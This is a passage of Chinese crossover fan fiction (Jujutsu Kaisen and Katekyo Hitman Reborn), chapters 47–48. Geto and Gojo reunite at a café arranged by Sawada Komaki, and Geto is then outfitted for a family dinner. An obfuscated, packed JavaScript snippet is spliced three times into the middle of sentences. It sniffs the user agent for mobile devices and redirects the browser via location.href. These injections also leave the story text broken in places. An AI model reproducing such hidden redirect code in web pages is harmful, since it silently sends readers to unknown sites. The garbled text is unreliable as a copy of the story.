夏油杰因为小莳的话陷入遥远的回忆碎片。确实,那时在薨星宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413114|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时侯,理子已经朝他伸出了手……呵,伏黑甚尔,令人厌恶的家伙,得找个机会问下小莳他们的恋爱情况。 “总之,权力政治我懒得理会,咒术总监部的腐败与繁荣和我们并盛没有关系,我暂时是打算置身事外,阿纲也是这个想法。但咒灵确凿无疑是会在所有地方无差别产生的,想要独善其身就要做出更健全完善的准备。”而还有什么比主动应对更有效的做法呢? 未尽之意全在眼中。 * 夏油杰是家中独子,因为能看见咒灵,父母和他不算亲密,也没要到新的孩子,日子就凑合过过。长大后去了咒术高专,在那交到了值得性命相托的朋友,也算是亲缘稀碎的补偿。 过了两年,他的理念发生转变,杀了一些该死的人,又杀了一些不那么该死的人,和朋友吵了一架就这样绝交。 他的父母也位列其中。 现在想来应该是不那么该死的一类。 他又给自己找了家人,他没有办法回头了,到2017年,也许他已心存死志,最后也就这样死掉。 薄命长辞知己别,人生凄凉。千万恨,混着血一并咽下,无处可剖。 是可悲的一生,碌碌无为求不得。 然后现在…… 他看见少女仿佛发光的身影,大步向前的姿态扬起秀发,在灯光下熠熠闪光,她一把推开房门,“好啦好啦,让我们来施展一些奇迹吧!” “要约定束缚吗?” “不,你口头同意就行,实际上这幅躯体弱得可以,只要我想随便就能侵占。但我是个礼貌的女孩,不高兴做那样强取豪夺的事情。” 她三两步走绷带裹缠的躯体旁,左手在他的额头上随意一点。绷带飞散,其下皮肉愈合,残缺的手臂从神经和骨骼开始重构,一切复原尽在眨眼间。 时间好像停滞,实则不然,小莳就在没人发出动静的病房里转了个向,回到门口,夏油杰看见她朝自己wink了一下,然后挥挥手,开口的语气就好像这是什么不值一提的小事:“早上好,与幸吉君,去享受人生吧。” 这个世界在身体正常--眼脑无碍的人眼中会呈现色彩,夏油杰是一个身体上没有残障的人,他自然能看见三原色和其他各异的色彩碰撞。 但在这一刻,他也不免产生了一种黑白寂静的画面被打破,其下斑斓动态的新世界由此呈现其中的既视感。 磅礴而盛大。 她弹指拨动了另一个人的人生轨迹,之后挥挥手,这事就被抛在脑后。 “杰,快到晚饭时间,今天家里吃葱烧,有没有一种可能你想请我吃饭?” 在敲定了晚饭会去商业街的事情后,他又看见小莳像每一个乖乖女儿一样给母亲打电话,告知晚餐有约。 直到亲眼目睹了这一切,夏油杰才有了实感,停滞在他身上的时针被拨动。 “怎么了,快走啊?”小莳回头,狐疑看他:“你不会后悔了吧,虽然我刚刚和与幸吉君说了早安,但那指的是他人生朝阳初生的早安,现在时间确确实实来到了五点半。” 他回以一个歉意的笑:“没什么,刚刚觉得有点冷,才意识到夏天已经过去很久了。” “……关于你的一语双关和小秘密我们以后再聊,吃饭要紧,现在不愿意讲也没关系,彭格列没有退休,只有退位,你还有一辈子的时间可以用来打工呢。” 啊,还有基本每天一遍的“上了贼船”的感觉,今天也如期而至。 命运颠簸之苦并非小莳所独有,在涩谷那晚她说出困兽于囚笼中随波逐流的话时,夏油杰便被言语触动。 而如今,怎么说也算是……乌头马角终相救。 47. 第 47 章 又过了两天,夏油杰再次对小莳发出疑问:“你觉得我应该和五条悟联系吗?” 明明只有两个人在场,小莳做出了说悄悄话的动作,他很给面子的凑过去倾听,她说:“这里只有我们两个,你就算顺应心意喊‘悟’我也不会泄露的。” “……泽田君今天发消息和我说到了总监部,那边似乎是发现端倪了。” “在经过了十几个工作日后,他们终于好了,可喜的效率,实乃东京人民之幸。”小莳敬仰地竖起大拇指,“其实联系与否都和大局无关,不过既然你这次是诚心发问--” 确实,上次是另一个钓鱼尝试,夏油杰觉得她真的有点记仇在身上,下一句不会是大发慈悲之类的吧…… “那我就不客气的给出我的私人建议咯!你应该联系他。” 小莳坦诚直白的给出作为朋友的建议,并且主动告知了理由。 她偶尔会想起涩谷万圣节那天刺激的时刻,出于对自身实力进步的需求也好,对未来局势的评估也罢,那晚的经历还会经过很多轮脑内重演和推导。 关于五条悟在地铁站的分神,差点就引发了封印。小莳一开始只当他是傻子,但她后来再想起,又有了结论。 “我想他只是特别高兴能再见到你,仅此而已。世界上有什么是不可辜负的?除了好时光,要我说那就是真挚的情谊了。” 小莳莞尔一笑,嘴角沾着爆米花的样子就随这句话一同烙印在他心间。 她真的很闲,无所事事的样子令人羡慕。 幸好伏黑甚尔没长眼睛出轨了,不然如果按照小莳先前的说法带他一起过来……夏油杰觉得自己不太能接受伙伴交友不慎至此。 他已经把小莳当成同伴。 总之,这番说辞深深打动了他,他决定主动打电话联络前挚友。 “挚友加个前,然后配合主动联系的字样,简直就像是嘴角沾着米粒但绝食的欲盖弥彰。”从电影院走出来,已经是下午一点。 夏油杰已经有点习惯被调侃,好脾气的不理会,拨打电话。 “喂,现在经济不景气,不接受推销哦~” 再不景气也影响不到最强、特级咒术师、五条家主、工作稳定的教师编制的。 “悟,是我,夏油杰。” 电话直接挂了,笑死。 小莳提出不靠谱猜想:“可能是害怕电话诈骗。” 然后她撸起袖子扯过手机:“安心,我来给他打电话,说明情况。” 夏油杰真是一点也安心不起来。 拿起自己的手机,她对着夏油杰的通话记录那个号码拨出去,接通,那边没有主动说话。 “喂,是五条老师吗?您还健在吗?我是曾经和您有过一面之缘的泽田小莳~最近事情太多,等处理完手上的工作我就马不停蹄如约给您打电话啦!”事实是自从万圣节那天晚上被中断了一次以后她几乎没怎么想起咒术师。 在小莳的视角里,自从她说出“最近事情太多”,夏油杰就露出了可怖的面目。 电话那头的这才响起了活泼的声音:“喔,是小莳啊!是我,五条悟。” “好的好的,老师,在一切开始之前,我想请教一下您。是这样的,刚刚我们家小杰回来以后呜呜呜呜又哭又闹好可怜呐,我们家小杰以前是特别乐观的,我仔细一问才知道原来是给最好的朋友打电话被挂断了,现在他一动不动也不理人,我们家小杰虽然一直普普通通的没什么成就,后面忘了,总之您有什么头绪吗?老师,老师你说句话呀?” 夏油杰想掐死泽田小莳。 “……啊?”五条悟过了有一阵子才说话,内容也只有一个字。 所以说小莳一开始把五条悟当成脑袋不好使的人真不是她的错,五条悟自己得担主责。 今天下午和咒术界的御三家又有会议要开,小莳是从六道骸那边听说的,她以“守护者参会,我又不是守护者”拒绝了,但既然五条悟是个家主,他必然要推掉其他的一切安排然后去开会。 小莳聪明小脑瓜子一转,那只要五条悟翘会,他就有时间来和挚友见面了。 等式必然成立。 诶嘿。 “前两天我在网上看见一家木屋的cafe,正好在东京,我对里面的牛角包和可露丽很感兴趣,今天下午3点方便见面吗?我是指你和夏油杰,因为我下午还有其他安排,到时候我让他把东西打包带回并盛。”小莳吸了一口可乐。 1分钟后,见面的事宜成功敲定,小莳在沉默中若无其事挂断了电话。 “那家店有那么火吗?我一说五条悟就知道是哪了。”她问夏油杰,但是转念一想他已经一年不在东京,必然不可能了解这些,“你买5个牛角包,因为蓝波也要吃,其他的买我一人份就好,可露丽、马卡龙、提拉米苏听说现做不能外带,但是你长得很好看,所以可以问一下那边的招待员能否通融。” 美丽的脸蛋在哪里都是通行证,说不定就有意外的提拉米苏收获。 “……你和悟说了那样的话,却想让我一个人去见他?” 她没心没肺吐槽:“你的语气好危险,呜哇。” 危险的男人眯起眼睛:“你下午有什么安排?” 小莳老实巴交:“想去看蚯蚓人4.” 然后被夏油杰强制勒令“你不许去”,小莳和他用完午餐一起去了东京,她发信息给五条悟告知计划有变,她决定陪孩子进城了。 五条悟那边很快回复:正好我也带一个人去。 虚情假意的男人宽慰同行者:“开心点,你可以吃提拉米苏了。” 她不买账:“杰,你假笑的样子好丑陋。” 夏油杰也不清楚五条悟指的带一个人会是谁,他猜测是辅助监督,闹市区不方便瞬移,“他可能懒得走路。” 转脸看见小莳深以为然地点头。 “……”忘了这边也有个懒鬼。 今天开车的不是草璧,他这两天在忙着给恭弥和六道骸善后,以及他作为秘书的日常工作,真是可怜。 车上还有个因为早上起迟了没赶上第一班开会车辆的蓝波。毫无疑问他昨晚在熬夜打游戏。现在又睡着了。 “别担心,蓝波已经正式从波维诺转到了彭格列,你的事情很快也会提上日程。”小莳扭头和看窗外飞驰景象的男人说,还被带动打了个哈欠:“我觉得这难度不大,实在不行就说夏油杰已经死了,现在这边的是彭格列杰。” “……” 尝试打消了同伴身上的紧张,她也不在乎成功与否,小莳开始在车上睡觉。 蓝波只是搭便车,所以他要在地铁站附近下车,然后自己前往开会点,而目的地最终还是在小莳定位的咖啡厅。 “好辛苦,而且还不确定今天能签字,等到最后再喊我过去不就行了。”一个哈欠打出了眼泪,没有得到任何人的怜惜。 小莳对他摆摆手,以示驱赶:“晚上给你带牛角包,笨蛋牛,快去快去。” “别叫我外号……很丢人。”刚满18岁的蓝波脸一红,走了。 接下来的路口就开始堵车了,小莳看情况觉得还不如走路快,就带着夏油杰先下了车,让司机先回去。 按着电子地图走两步就快到,身边的夏油杰却突然停下了脚步。 “?怎么了”小莳见他孤零零落在后面,眼睛盯着的方向…… 她看到了对面鹤立鸡群的五条悟,他身形实在是高挑,一眼看过去就无法忽视。站在他旁边的是,一个看起来很疲惫的高中生,他背上背着黑色长条包裹。校服样式就是小莳以前见过几次的那种,但颜色是白色。 山本武的装备看多了,小莳一眼辨认这是武士刀。应该是夏油杰说过的咒术高专的学生。 这不是明显没到开车年龄嘛。 一眼看来是个没什么特别值得注意的学生和他的监护老师,小莳起了一点突破第二次见面界限的坏心思。 “咔哒。”有什么东西掉在地上,五条悟看清后赫然身形就消失了。 他就像看见黄瓜的猫。 好搞笑,吓飞了。小莳捂着嘴弯腰开始笑,在熙熙攘攘的街道上并不显眼。 “……”夏油杰先是看见了乙骨忧太--不用想就知道他是被谁拉来的,又是这边同伴捏出个幻术狱门疆投掷在地上,把前者逼得退开。 现在乙骨忧太黑色的袋子已经滑到了手肘处,右手握住了刀柄,碍于人流没直接拔刀。 简单说,两个白毛都不让人省心。 小莳:“sorry,就是觉得这样的时刻放个道具更应景。”夏油杰倒觉得这是为了报无量空处的仇,他的表情亦不赞同。 她便有些不满了,怎么回事,好不容易陪孩子进城,他还有什么不满意?“怎么了,不可以有点幽默意识吗?” 不了吧,现场在笑着的也只有她一个人,他提溜了下小莳的衣领,提醒她注意看空气。 “好嘛,对不起五条君,我下次不用幻术吓你了。” 下一秒高大的身影从木屋檐跳下来,直接落在小莳面前,她心想:不是吧,真跳到屋顶上去了。 “呀,刚刚真的吓了我一跳,差点就以为是邪恶势力的阴谋。”真·吓了一跳。 “不至于不至于,狱门疆开门要一分钟啦,你这么聪明肯定不会被炒冷饭骗60秒。”但确实有一瞬间他是被吓飞了,小莳舒服了,觉得涩谷的地铁站的事件算是彻底过去。 “六眼居然也没认出来这是幻术。” “那怎么办,你问问它?” 小莳面对各种试探都习以为常,这次也不例外,随便回答点什么就算过去。 “话说,这是你学生?”小莳指了指精神不济的白衣少年,问五条悟,然后回头看夏油杰,被揪住后衣领的力道阻止,但不妨碍她开口:“你俩认识?” 夏油杰松开手,转身开门率先进入咖啡厅。 “他被乙骨揍过一顿,看起来还没走出来的样子。”五条悟在她面前弯下腰,凑到她眼前说,“仔细一看小莳的发色和瞳色果然都和我一样呢,怎么样,要不要来五条家?” 怪不得夏油杰垮起个脸,话也不应,五条悟是懂选人用人的。 “有继承权吗?”有的话也不考虑,她就问问,毕竟赤司家没给。 “那应该没有吧,家里的老东西要翻天了。”他遗憾的摇摇头,然后介绍:“这是我的学生,乙骨忧太~这是彭格列十代目的妹妹,泽田小莳。” “嗨,下午好。”小小年纪打工仔气质暴露无遗,这位乙骨忧太长着一张“惹到我那你可算捏到软柿子”的脸,除此之外她没看出什么特殊之处,不过能把特级揍一顿的应该也是特级,所以大抵是个深藏不漏的强者。 小莳也走进咖啡厅。 趁着玻璃门隔开了两伙人,她轻声对夏油杰说:“你觉不觉得这有点像相亲,但是带家长版本?” “……” “你挚友好坏哦,这是什么意思,不乖就让乙骨忧太打你一顿?”所以爱会消失。小莳看后面五条悟和他的学生已经进来,就不再提这事,改宽慰他,“别难过,好歹见到朋友了呢。”还有人忍痛放弃猎奇电影来陪伴。 夏油杰,双赢。T 他本人倒是像遭受了一些打击,颇有些自闭的样子,常驻的笑容耷拉下一半。 这下真给我们家小杰整一动不动也不理人了,小莳招呼服务员先开始点单,然后把菜单给夏油杰,他没接,随手指了个气泡水。小莳把名字念给服务员,又将菜单递给五条悟。 无人点单咖啡。 这会气氛像一伙无人主持的互助会现场,没人愿意讲讲自己的故事,进程像信号不好的视频一样卡顿,进度条显示的加载进度完全不作数。咖啡店里的客人们交谈,吧台也有机器和玻璃低语,衬得在窗口不发一言的一桌4人孤立感更甚。 门铃响起,又有新的顾客进入。小莳趁着有人到来的背景音开口,扯了个话题:“那天涩谷伤亡人数多吗?” 回答她的是五条悟:“还好,正因为如此,事件最后被定性为地震、群体幻觉引发的大型踩踏事故。” “真是充满奇思妙想的一派胡言。”一句话表面功夫结束,小莳觉得自己委婉够了,直接开问,“你和杰还有旧要叙吗?附近电影院再过20分钟开播蚯蚓人4,我是说正好,如果大家没什么事我们就散了吧?你现在赶过去还能够得上开会。反正你们也见过面了,确认过身份,其余的就来日方长。” 说完她一拍手,觉得自己这小脑瓜子举世无双,时间管理能力已经达到顶峰。可惜在场没人领情。 “你什么时候看的电影时刻表?”夏油杰的手扣在小莳一直倒放在圆桌的手机上,问她。她刚才没有看手机。 小莳对他闭上了右眼,又开始学起了蓝波的口癖:“车上,小莳大人永远都会选择planb!带着新朋旧友重逢难免尴尬,我以为你早就想明白了。”结果一出场就成了锯嘴葫芦。 原来只是端水界的应届生,以前不会也只有一个朋友吧,哦对,还没谈过恋爱,双杀。 “既然小莳这样提出,那我就不客气的问问题了!”明明确凿无疑是老师,却摆出举手提问的姿势。 小莳对他摊开左手:“请讲。” 五条悟很有气氛组的实力和天赋,他说话有着不同于年龄的活泼:“嗨!快问快答开始!问题一,杰不是死了吗?” 她撇头看了一眼同行,此人并无开口打算,放任自己深深地陷在沙发里,于是她说:“死了,又活了,已经在彭格列干了一年了,所以现在是转正状态的Mafia。” “问题二,小莳在地铁站的时候明明不认识杰,这是为什么?”他问的是第一次见到侵占他身体的寄生体时小莳表现出的陌生。 小莳解释:“那个时候确实不认识,当天更晚点的时候才和杰第二次见面。确认了彼此的身份以后不到一会就离开涩谷了。”至于情报来源是咒术界的半个叛徒这种事情她不打算说,与幸吉现在可在彭格列基地默默复健。 “问题三,小莳是怎么袚除真人的?” “诶,问题怎么转移到我身上来了?” “不可以问吗,老师好奇。” “所以说你干嘛在我面前自称老师,你还穿着dk呢!” 五条悟表现出一种对教师身份的极度执着,他强调:“你之前还叫我老师,现在竟然翻脸不认?!” 小莳理直气壮:“只是为了迎合网络热梗,对吧小杰!” “……”不,他不是很想参加,夏油杰开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413115|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她领域展开了。” 她翻了个白眼。 五条悟把墨镜摘下来,没看出来她身上有术式的痕迹,咒力也杂乱,六眼传来的信息,也不过是肉体凡胎。 “呀,真是稀奇。” 小莳就被当成是稀有物种被五条悟越过桌子伸头来凑着看了半天。 六眼吗?她想起自己这些天看到的情报,确实有被什么东西盯上的感觉,咒术师果然各有各的怪。 她也学着旁边的人努力往卡座里缩:“我害羞,能别看吗?可以把注意力转移回小杰的交友问题上了吗?虽然我们家小杰普普通通的,但也是家里人的心头肉,总之你的眼神让我很不安,要不是现在我既没有番号卡也没有护照和入境记录,真的很想报警把你抓起来。” 普普通通,家里人的心头肉:够了。 他还没来得及说些什么,五条悟也还没有放弃对小莳的分析,夏油杰只看见小莳伸出左手,手背对着挚友晃了一晃,他便愣神。小莳一把贴上他脑袋把他推回了属于自己的座位。 “诶?”五条悟几秒后才如梦初醒,“刚刚那是什么?” 夏油杰也侧目,“你碰到他了?” 乙骨忧太不发一言凝视小莳。 “……”怎么,碰他一下你生气了? 小莳又一次感受到了格格不入。 “刚刚,如果你发动术式之类的,或许我就死了。所以,是怎样做到的?”一边说着死,一边又笑得灿烂,五条悟是个怪人。问题是小莳也没想着要干掉他。 这个白毛有点疯啊。 夏油杰饮了一口汽水,提醒:“他是无下限。” 小莳好像在哪里见过又好像没有,她胳膊肘碰了碰夏油杰:“再多给点提示,现在的情况让我联想到睡一觉醒来后的知识点。” “……那是写在资料第一页的最强。” 小莳确实得到过一册咒术界相关的情报,她也浏览过,但其中一些知识也确实滑溜溜划过了大脑。 “既然没有记住这就说明我认为这是无关紧要的东西。”话虽这么说,小莳还是跟着夏油杰说的第一页想了一想,“哦!想起来了,是那个芝诺的阿基里斯悖论。” 把本该不存在的无限带到客观时间之中的无下限术式,确实值得一记,然而小莳翻书有不看封面直接看第二页的习惯,恰好第二页的十影珠玉在前……还是召唤小动物和操纵影子更有意思一点。 划过的知识点被小莳飞跃的神经追逐抓捕,重新入脑:“给你隆重介绍这枚地狱之眼,被瞪视之人会身体僵硬失去思考能力,大概在你停止思考的瞬间术式也变得不堪一击,所以轻易被推动了。” “不,怎么说呢,我觉得它有点普通。”五条悟盯着地狱之眼看了一会,指环里的眼球转动不停。 “这就不知道,你从自己身上找原因吧。”小莳也低头看难得焦虑不已的猩红色瞳孔,它一副被吓到的样子,确实不像能威慑五条悟的。 反正和她也没关系,小莳不负责任乱建议,内容之草率也没引起什么主意。 话题在几个来回后还是转移到今日变得拘谨自闭的夏油杰身上,小莳没仔细听,她去接了个电话。 “喂,妈妈,嗯,蓝波开会去了。对,我有在上课,新同学和老师都很好,奈亚也在我旁边。要和奈亚说话吗?他在和新同学聊天,相谈甚欢,就不打扰了。能考100分,不是……诶?他们来看我了?明天一定和大家一起晚餐,我会把云雀先生和夏油先生叫到家里去的。不需要里包恩老师辅导,他已经转业好多年了,我自己学习就好,再见,妈妈也早点休息。” 一接电话秒变温婉端庄好女儿,讲话也轻声慢调,除了奈亚全员敬语。 回来以后全员的注意力又到了自己身上。 “你们的友情连10分钟短聊都不支持吗?简直比月末话费余额还稀薄。”和家庭妇女打个电话不至于吸引什么注意力吧,小莳叉了一块新上的提拉米苏,然后又叉一块。不愧是推荐榜第一名的甜点。 “……”这下正常了。 既然现场沉默,小莳就没什么打扰他人的顾忌和夏油杰说:“奈奈说明天要见你,请记得你是在风纪财团工作时长5年的我的科长前辈,然后我以后要考东大,你在她面前夸夸我办事细致能力强,目标坚定有恒心就好。” 他也是头一次听说:“你上高中了?” 不然呢,她现在还是上学的年龄,虽然在此之前也没对学业有多上心,但至少上个月这时候她还在学校里研修课业。小莳撇撇嘴:“多冒昧,像我这样的女孩子应该都在念书吧,半工半读两年终于决定全职入学东京私立百花王学园高二的泽田小莳,参上~主要是因为不上高中就没办法念大学,奈奈希望我们家出个大学生。” 夏油杰想起了小莳之前对母亲的评价,了然:“果然是很朴实的女性。”结果剩下的一家人全成了Mafia,也是一种造化弄人。 “好啦,为了不耽误你们叙旧,我决定过会先离开。不仅仅是因为我发现自己有几分引人注目的天赋,我在场的时候大家都不自在,更是因为---”小莳点点手腕上的电子屏,“瓦利亚也来东京了,据说是为了接我放学,但比起传统的到学校门口寻人……” 手表适时发出滴滴滴的提醒声,“玛蒙有粘写的能力,plus这是我新收的小弟赠予我的小礼物,会在100米内出现新的家族成员时进行提示,以及实时显示500米内的成员。他们近了。” 粘写,一种用鼻涕做成地图,确定念想的人和物具体方位的超能力。 她撸起袖子把表面展示到夏油杰视线范围内,许多红点。 “太受欢迎可是很苦恼的,在哪里都是视线的焦点,你们慢聊,我就不打扰啦。”小莳起身,最后给夏油杰提出了一点自己称之为杀手锏的建议:“杰会好奇我大部分时候都成功的人际关系吗?我可以教你一个拉近距离的小妙招。” 夏油杰觉得接下来的内容是潘多拉的魔盒,他想让小莳不要说话,首先,他看不出来传说中的“大部分时候都成功的人际关系”,这大概是一种出于自信的误读,然而同样对自己性格有误会的五条悟却已先行开口,他也是个自来熟大王,但是人际关系……微妙。 多年未见的白毛还是一如既往地具有好奇心:“是什么是什么,不要光说给杰,我和忧太也想听。” 于是夏油杰一边心里感叹“糟了”,一边又抱着来都来了的心思准备听一听。 小莳对着五条悟扬起一个纯善的甜美笑容:“不管对面说什么,你都像论文引用防查重一样意义不变翻来覆去的重述,对方马上就会把你引为灵魂知己。怎么样,是不是很实用,赶快学起来吧!” “……” “……” “……” “大家的表情真是令我愉悦,再附赠一条追加消息。我发现这技巧对不经常进行人际交往的尤为适用,正好杰是母胎solo,五条悟你和乙骨忧太也一脸没有恋爱过的样子,你们三个互相攻略,一定很有趣,嘻嘻。” 小莳神清气爽的表情和三位男士形成对照组:“bye~” 非常有礼貌和三人道了别,小莳还文明的去前台结了账,然后拎着想要的食物和卖萌得来的提拉米苏外带,满载离开。 48. 第 48 章 在小莳和亲友相聚不知道在哪晃荡的时候,夏油杰和五条悟去看了蚯蚓人4,乙骨忧太很快也被不负责任的老师丢下,“乙骨自己联系辅助监督回去高专,当然,如果你选择自由活动也可以哦,今天下午老师给你放假!” 放假的意思是遇到任务就如此推脱:“对不起五条老师给了我其他安排,对不起无可奉告,对不起你去联系五条老师。” 乙骨忧太:…… 他带着对老师的承诺“这件事情我不会说出去”,回到了高专。 领导同事在天堂:怎样,好看吗? 夏油杰:完全不值得期待 领导同事在天堂:感谢为我节约了人生中宝贵的2.5小时,我不看了 夏油杰:…… 领导同事在天堂:和挚友的交往还顺利吗?我这边快要引发世界大战了 领导同事在天堂:【图片】弗兰摘下了头套,不仅是因为玛蒙在场,更是因为旧的被炸了(字面意思)。贝尔的刀现在居然带引爆功能,多半是和隼人学的。 夏油杰:你会想念伏黑甚尔吗? 领导同事在天堂:你和挚友的共同话题居然是我前夫哥?我没觉得他值得注意到那种程度,要说□□强韧,他还被菜刀划拉过手指头呢! 夏油杰:我推测,唯物世界的存在将咒缚本身也抹去了,在一个所有人都没有咒力的时代,剥夺咒力并不需要建立额外的束缚。 领导同事在天堂:也许你猜的没错。 领导同事在天堂:偶尔也会想起他,但这和想念是有差别的。毕竟在一起相处了1年,我记性又不差,总会想到。 领导同事在天堂:不过人都已经在另一个世界了,你和五条悟难道想破碎虚空去找他寻仇,并在此之前征询一下我的许可吗?答案是很难讲哦,你们有多大仇? 夏油杰:倒也没有,只是听说了关于他的一些事情,如果你想知道我会告诉你。以及别顺杆往上,这种事情无需许可。 夏油杰在昏暗的电影厅里,斟酌了一下发送出这段话。伏黑甚尔居然也在那天来到了涩谷。那天看到的炸烟花有几次并非是为了打草惊蛇,而是为了打伏黑甚尔…… 涩谷的咒灵们会哭的。 她回得很快。 领导同事在天堂:这样,好冷酷,我伤心了。不想知道。 夏油杰:真是斩钉截铁的回答。 领导同事在天堂:事实上我不期待听到有关他的任何消息……你知道爱情是会和夏天一样突然结束的。差点忘了,你有过夏天,没有过爱情,真遗憾捏(^▽^) 领导同事在天堂:但是私人请求,请不要尝试去找他寻仇,他真救过我的命。 领导同事在天堂:杰,这份恩义于我还是有点重量,最后翻到是我像个胆小鬼一样逃走。拜托了,就让他在另一个世界随便怎样都好的活着吧。 夏油杰:好的,我知道了。 他收起手机,和五条悟说:“好消息,她不想知道。”他也不想在未来的人生中再和伏黑甚尔有交集,和乙骨忧太最好也别。 五条悟在和学生激烈的讨论电影剧情,所以说这个电影到底有什么被上映的价值…… 虎杖悠仁发来消息,说是和顺平以前约好了要一起去看的。 毕竟是学生死去的朋友,五条悟决定对该电影少一点刻薄。 正好夏油杰那边也结束,他更换了吐槽对象:“小莳的品味也太差了。” 吵架,绝交,然后久别重逢,没什么实感也并不尴尬。这一切都是托了五条悟不会冷场的福,对于一个已经28岁的男人来说,他是有点太过叽叽喳喳。他回了一句:“你倒是自来熟。她也没看过,是近期经常光顾的拉面屋小哥倾情推荐。灰原现在打工的那家,好像是叫吉野顺平。”夏油杰说完摇摇头,不仅没看过,现在也没再去看的打算了。 “……哦?”五条悟惊讶侧目,这还真是……了不得。 * 第二天,夏油杰看到小莳的时候她已经换了发型。 “奈亚今早又用卷发棒帮我修了一下。怎样,是不是很像漫画里的大小姐!”公主切+水母头,还在发尾染了粉,“不过理发师有和我说白毛不容易上色,可能两周就会掉。” “挺好,你今天也不上学?” “请看VCR。”小莳举起手机,“这是奈亚在下课期间给我拍的,我决定过会发给奈奈。” 画面中,阳光照进深秋的庭院,白发少女惬意而矜持地坐在石凳上,缓慢翻过腿上摊开的一页书,朗诵的声音和风声一起钻入收音孔,在视频中呈现颤颤巍巍的效果:“有的人,极少数,如同天际之星,沿着固定轨道运行。没有风能动摇他,他内心自有律法和轨道。” 一个人不能同时出现在两处,小莳也不具有分身能力,联想到她炉火纯青的摸鱼……多半这也是什么幻术的造物。 “最近我和与幸吉君聊天不少,据说他回去了以后被关在一个黑黑的地方,换言之就是一直都空闲!”小莳热情和他分享最近的学习成果,“我们的幻术人偶力求真实,而傀儡只需要能达成建造者的初衷就好,所以他们发展出了一些类似ai的技术,真是有趣,我希望以后也能用到它。听说与幸吉的遗产在涩谷的时候也派上了不大不小的用处,天哪,高中生们还真是不可小觑。” 夏油杰听着,心想她不也是高中生么,他问:“那现在你的人偶是什么情况?”听起来并没有被本人接管的样子。 “现在是奈亚启动家长监管模式。你可能还对他不太了解,你知道克苏鲁神话里面那些邪神都很喜欢星星、山、海的,所以什么‘群星的轨道’、‘险峻的山脉’这些意象,如果你听到这些很明显的意味,可以往那方面思考思考。” 夏油杰了然,克苏鲁神话中的神明都是高维外星生物,高山和海洋又是人类自身局限下难以被完全探测的,成为神话的基石理所应当:“但是奈亚拉托提普是你的幻术造物,他的自我意识难道不算人工智能吗?” 小莳的表情一下变得古怪起来,“如果硬要用科学来解释此事,那比起人工智能领域,奈亚的存在会更偏新物种和生命培育方向……吧。他来源于幻觉,却也与之脱胎,所以他才是我的【造物】,而不仅仅是被驱使的式神和一般的匣兵器。” 夏油杰隐约意识到了这些字眼中的细微差别,但他来不及细思,就被打断:“别说这些了,现在先给你买一套合适的西装,因为只是财团的小小科长,那种社畜之选商场批发套装就行。” “……”额,这是在? 小莳不得不提醒他:“夏油前辈,这可不行,工作中承蒙您2年关照,我可不想在这种时候对您发火。您该不会把今晚晚餐的事情忘掉了?” “……没有,我们去买衣服吧。” “你能把刘海梳上去吗?”她更进一步说出想法。 “唯独这个算了。”不知道他在执着什么。 * 夏油杰也有自己的倔强,小莳尊重物种多样性,据说他的小泥鳅刘海已经坚持了十余年,兴许就和斯库瓦罗的长发是追随XANXUS的证明一样,她猜。 夏油杰穿上了第一套西服。 “你像个卖保险的,不错,合适。” 话术错误,他试了第二套。 “感觉不如上一套,但是也不错。” 第三套,小莳学会了放大优势,不失真诚的夸奖与选择性偏重。 “你长得好看,穿什么都好看。” 坦率说和一切都没有关系,这家店每一件衣服都是按码数标准制造,和量体裁衣八竿子打不着,流水线出来的可不就是保险人员服装。 但夏油杰也确实好看,所以最后不算丑。 而且再怎么说这也比那什么五条袈裟好看多了,小莳事后回想,说起职业服装时夏油杰的态度奇怪,这里头肯定有些事,只不过过了时机不好再提起。但是如果他磨磨唧唧这也不满意那也不喜欢,她绝对会旧事重提。 夏油杰没再试新的衣服,小莳……小莳付钱的时候被他拦下来,“我来就行。” “科长,记得慈祥一点。” 小莳穿短裙过膝袜小皮鞋和羊毛开衫,夏油杰是社会人士打扮,两人相距不远,却有一道跨越十年的线横亘在中间。 “……小莳,你的母亲是明察秋毫的女性吗?” “请叫我泽田,把持住职场人的分寸,谢谢科长。不,她不是,等你见了就知道了。”小莳走在路上就开始低着头编头发,想让自己看起来更乖巧一些。 泽田奈奈是一个显而易见的好女人,也是贤惠持家的代名词,如果世界上真的有神明在创造人类,那么几十亿人很难捏泥巴生成,小莳更情愿相信过程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“刷卡交钱吃饭啦,人人平等。”她一本正经的信口胡诌。 然后告别。 走过一段路后,小莳这么和夏油杰说:“我总感觉如果和五条悟说我要回家的话他会提出失礼的请求。” “确实。”他再一次肯定了她的直觉。 所有人齐聚一堂时,泽田奈奈揭开汤锅的锅盖,届时大家欢聚一堂,一起喝甜甜的米酒,吃福袋形状的丸子,烫肉和蔬菜。小莳带着夏油杰回到自己家普普通通的二层带院小别墅,头一回帮他开了门,请他先进,让他体会一次下位者的谄媚·限定版。屋内热烘烘又欢庆的氛围并没有影响做了一桌好菜的母亲一下就听见钥匙锁孔的咔哒声。 